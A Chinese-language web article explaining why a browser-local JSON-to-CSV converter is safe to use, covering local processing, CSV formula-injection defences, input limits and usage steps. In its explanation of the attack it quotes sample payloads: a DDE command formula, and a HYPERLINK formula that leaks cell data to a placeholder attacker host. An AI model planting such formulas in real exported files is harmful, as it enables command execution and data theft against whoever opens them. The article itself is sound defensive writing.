當 JSON 轉 CSV 轉換器完全在您的瀏覽器分頁內執行、絕不將您的 JSON 傳輸到遠端伺服器,並對匯出的檔案套用預設的試算表公式注入防護時,在線上使用它是安全的。這種組合解決了讀者擔心的兩個真實風險:轉換過程中的資料外洩,以及在 Excel、LibreOffice 或 Google Sheets 中開啟產生的試算表時,惡意公式隱藏在其中。上傳 JSON 到伺服器的雲端託管轉換器會帶來第一種風險。在不為危險儲存格加上前綴的情況下匯出未跳脫 CSV 的轉換器,則會帶來第二種風險。可信的線上工具應拒絕這兩種行為,而這正是 JSON 轉 CSV 工具所遵循的契約——在當前頁面內完成解析、跳脫與下載。

is json to csv safe to use online
is json to csv safe to use online

「安全」對線上 JSON 轉 CSV 轉換器而言真正的意義

當開發者詢問轉換器是否安全時,他們通常一次指的是兩件不同的事情。第一是隱私安全性:我的 JSON 是否會離開這個分頁,最終出現在別人的伺服器、記錄檔或分析管道中?第二是輸出安全性:如果我某筆記錄中的字串恰好以等號開頭,它是否會在開啟檔案的試算表程式中悄悄變成可執行的公式,進而外洩資料、開啟連結或執行指令?

隱私安全性取決於程式碼的執行位置。任何將 JSON 以 POST 方式送到遠端端點的工具,都在進行網路 I/O。即使廠商聲稱不保留資料,那些位元組已跨越了讀者無法檢查的界線。使用瀏覽器內建的 JSON.parse 來剖析 JSON、在記憶體中建構 CSV 字串,並透過本地端 Blob URL 公開結果的工具,則完全不需要透過網路傳送任何東西。

輸出安全性取決於轉換器如何處理試算表程式將其解讀為公式開頭的字元。開放全球應用程式安全計畫(OWASP)記錄了這類攻擊,通常稱為 CSV 注入,其中像 =cmd|'/c calc'!A0 或 =HYPERLINK("https://attacker/?leak="&A1, "click") 這類儲存格值會被接收端應用程式當成程式碼來執行。安全的匯出需要嚴格的引號處理、加上單引號前綴,或兩者並用。

JSON 轉 CSV 工具如何讓您的資料留在本地端

JSON 轉 CSV 轉換器是一個單頁瀏覽器工具。它會讀取您貼到編輯器中的文字,在 JavaScript 執行環境中呼叫 JSON.parse 進行剖析,逐一走訪產生的陣列以找出欄位,再依照 RFC 4180 的引號規則將每個欄位對應到 CSV 儲存格,最後透過 URL.createObjectURL 參照提供完成的檔案。下載的 MIME 類型為 text/csv,編碼為 UTF-8,頁面中顯示的預覽內容與最終寫入 converted.csv 的位元組完全一致。

由於每個步驟都在分頁內執行,JSON 輸入、剖析後的物件陣列、產生的 CSV 以及下載 Blob 都絕不離開此頁。沒有 fetch 呼叫、沒有分析信標,也沒有伺服器端處理。重新轉換時會先撤銷舊的 Blob URL,再建立下一個;離開頁面時則會釋放剩餘的 URL。若您的 JSON 包含您不會放心上傳的記錄,這就是讓內容留在您本機的工作流程。

公式注入:多數讀者忽略的風險

即使轉換器從不上傳您的資料,仍可能產生危險的檔案。若 JSON 中的字串值(例如 "=1+1")在未跳脫的情況下寫入 CSV 儲存格,Excel 會將該儲存格視為公式並顯示 2。使用更精心製作的酬載,它還能執行 shell 指令、追蹤連結,或從外部活頁簿擷取資料。OWASP 的 CSV Injection 條目記錄了這項風險,並列出 =、+、- 與 @ 為試算表程式辨識的常見公式觸發字元。

JSON 轉 CSV 工具針對這個情況內建了永遠啟用的安全政策。以 =、+、-、@、Tab、換行字元開頭的欄位名稱與字串值,或在 ECMAScript 空白字元(包括前導 BOM 或不中斷空格)之後出現公式觸發字元者,都會在 RFC 4180 跳脫之前加上單引號前綴。試算表程式通常將該單引號視為將儲存格以文字形式呈現的要求。匯總結果也會回報被加上前綴的儲存格數量,使這項變更可供稽核而非默默進行。

數值屬於具型別的資料,而非攻擊者可控的字串,因此像 -42 這樣的 JSON 數字在 CSV 中會保持 -42,不會加上單引號。這項防護降低了常見風險,但並非萬無一失:下游應用程式仍可能去除單引號、重新解讀文字,或套用不同的觸發字元集合。因此,本工具並不提供關閉預設安全行為的選項。如果您希望對 Excel 來源(而非 JSON 來源)採取同樣的防禦姿態,如何在本機將 Excel 檔案轉換為 CSV 中描述的本地端工作流程,則以相反方向套用相同的原則。

線上安全地將 JSON 轉換為 CSV:逐步說明

  1. 將非空白的 JSON 物件陣列貼到編輯器中。最小的可用範例為 [{"name":"Alice","age":30},{"name":"Bob","age":31}]。在轉換前,請確認輸入內容不超過可見的限制。
  2. 執行轉換。瀏覽器會剖析陣列、依序走訪各筆記錄、在欄位首次出現時將其新增為欄、將缺失或明確為空的值對應到空白的 CSV 儲存格,並將任何巢狀物件或陣列以壓縮 JSON 形式序列化到單一引號括住的儲存格中。
  3. 檢查預覽中的欄位順序、巢狀 JSON 儲存格、逗號與換行前後的引號處理,以及任何回報的公式風險前綴。預覽內容與即將下載的檔案在位元層級上完全相同。
  4. 下載 converted.csv。在接收端的應用程式中,請以 UTF-8 編碼並以逗號作為分隔符號匯入。若試算表程式對公式執行提出警告,請選擇將儲存格視為文字,或停用匯入儲存格自動求值的選項。

輸入規則、限制與工具會拒絕的內容

可接受的頂層結構刻意設定得相當嚴格:包含一個或多個 JSON 物件的陣列。頂層為物件、基本型別、空陣列、空值列、陣列列或基本型別列的情況都會以特定訊息拒絕。這是一項安全特性,而不僅僅是便利性,因為對任意 JSON 推測結構描述,往往會產生無法忠實呈現資料的 CSV。

各項限制皆明確說明,且絕不以默默截斷的方式實作。任何一項超過上限都會回傳錯誤,且不會產生縮短後的 CSV。編輯器中的計數器會在輸入超出限制時標示出來,而不會在輸入時直接刪除字元。

界線限制超過時的行為
JSON 輸入大小1,000,000 個 JavaScript 字元拒絕轉換,輸入保留在編輯器中
陣列長度10,000 列拒絕轉換,輸入保留在編輯器中
已發現的結構描述200 欄拒絕轉換,輸入保留在編輯器中
產生的 CSV5,000,000 個字元拒絕轉換,輸入保留在編輯器中
公式觸發字元=、+、-、@、Tab、CR,或在空白字元之後的觸發字元一律加上單引號前綴並計數

作為快速驗算,若一列物件在壓縮 JSON 中平均佔 50 個字元,則 1,000,000 字元的輸入上限大約可容納 20,000 列輸入才會達到該上限,計算方式為 1,000,000 除以 50。實務上會先觸發 10,000 列的上限,而這正是預期的順序。

線上 JSON 轉 CSV 轉換器的適用時機

本地端瀏覽器轉換器適合用於開發人員的測試資料、來自已記錄 API 回應的一次性匯出、為同事準備小型試算表,以及在已支援 JSON 與 CSV 的系統之間進行臨時資料交換。當 JSON 包含您不會放心傳送到遠端服務的內容時(例如內部識別碼、客戶記錄範例或組態快照),它也是正確的選擇。

但它不適合用於正式環境的資料遷移、受嚴格留存規則約束的受規範資料,或任何需要結構描述保證、型別保真度與字元編碼宣告的管線。CSV 不承載資料型別、巢狀結構描述,也不含通用的方言標記,因此只要型別與結構重要,就請保留原始 JSON,並在需要長期處理時使用具結構描述感知的管線。對於較小範圍內的所有需求,JSON 轉 CSV 工具提供了最重要的兩項安全特性:資料留在您的分頁中,危險字串在輸出時即被中和。

延伸閱讀:在 GST 離線工具工作流程中將 JSON 轉換為 Excel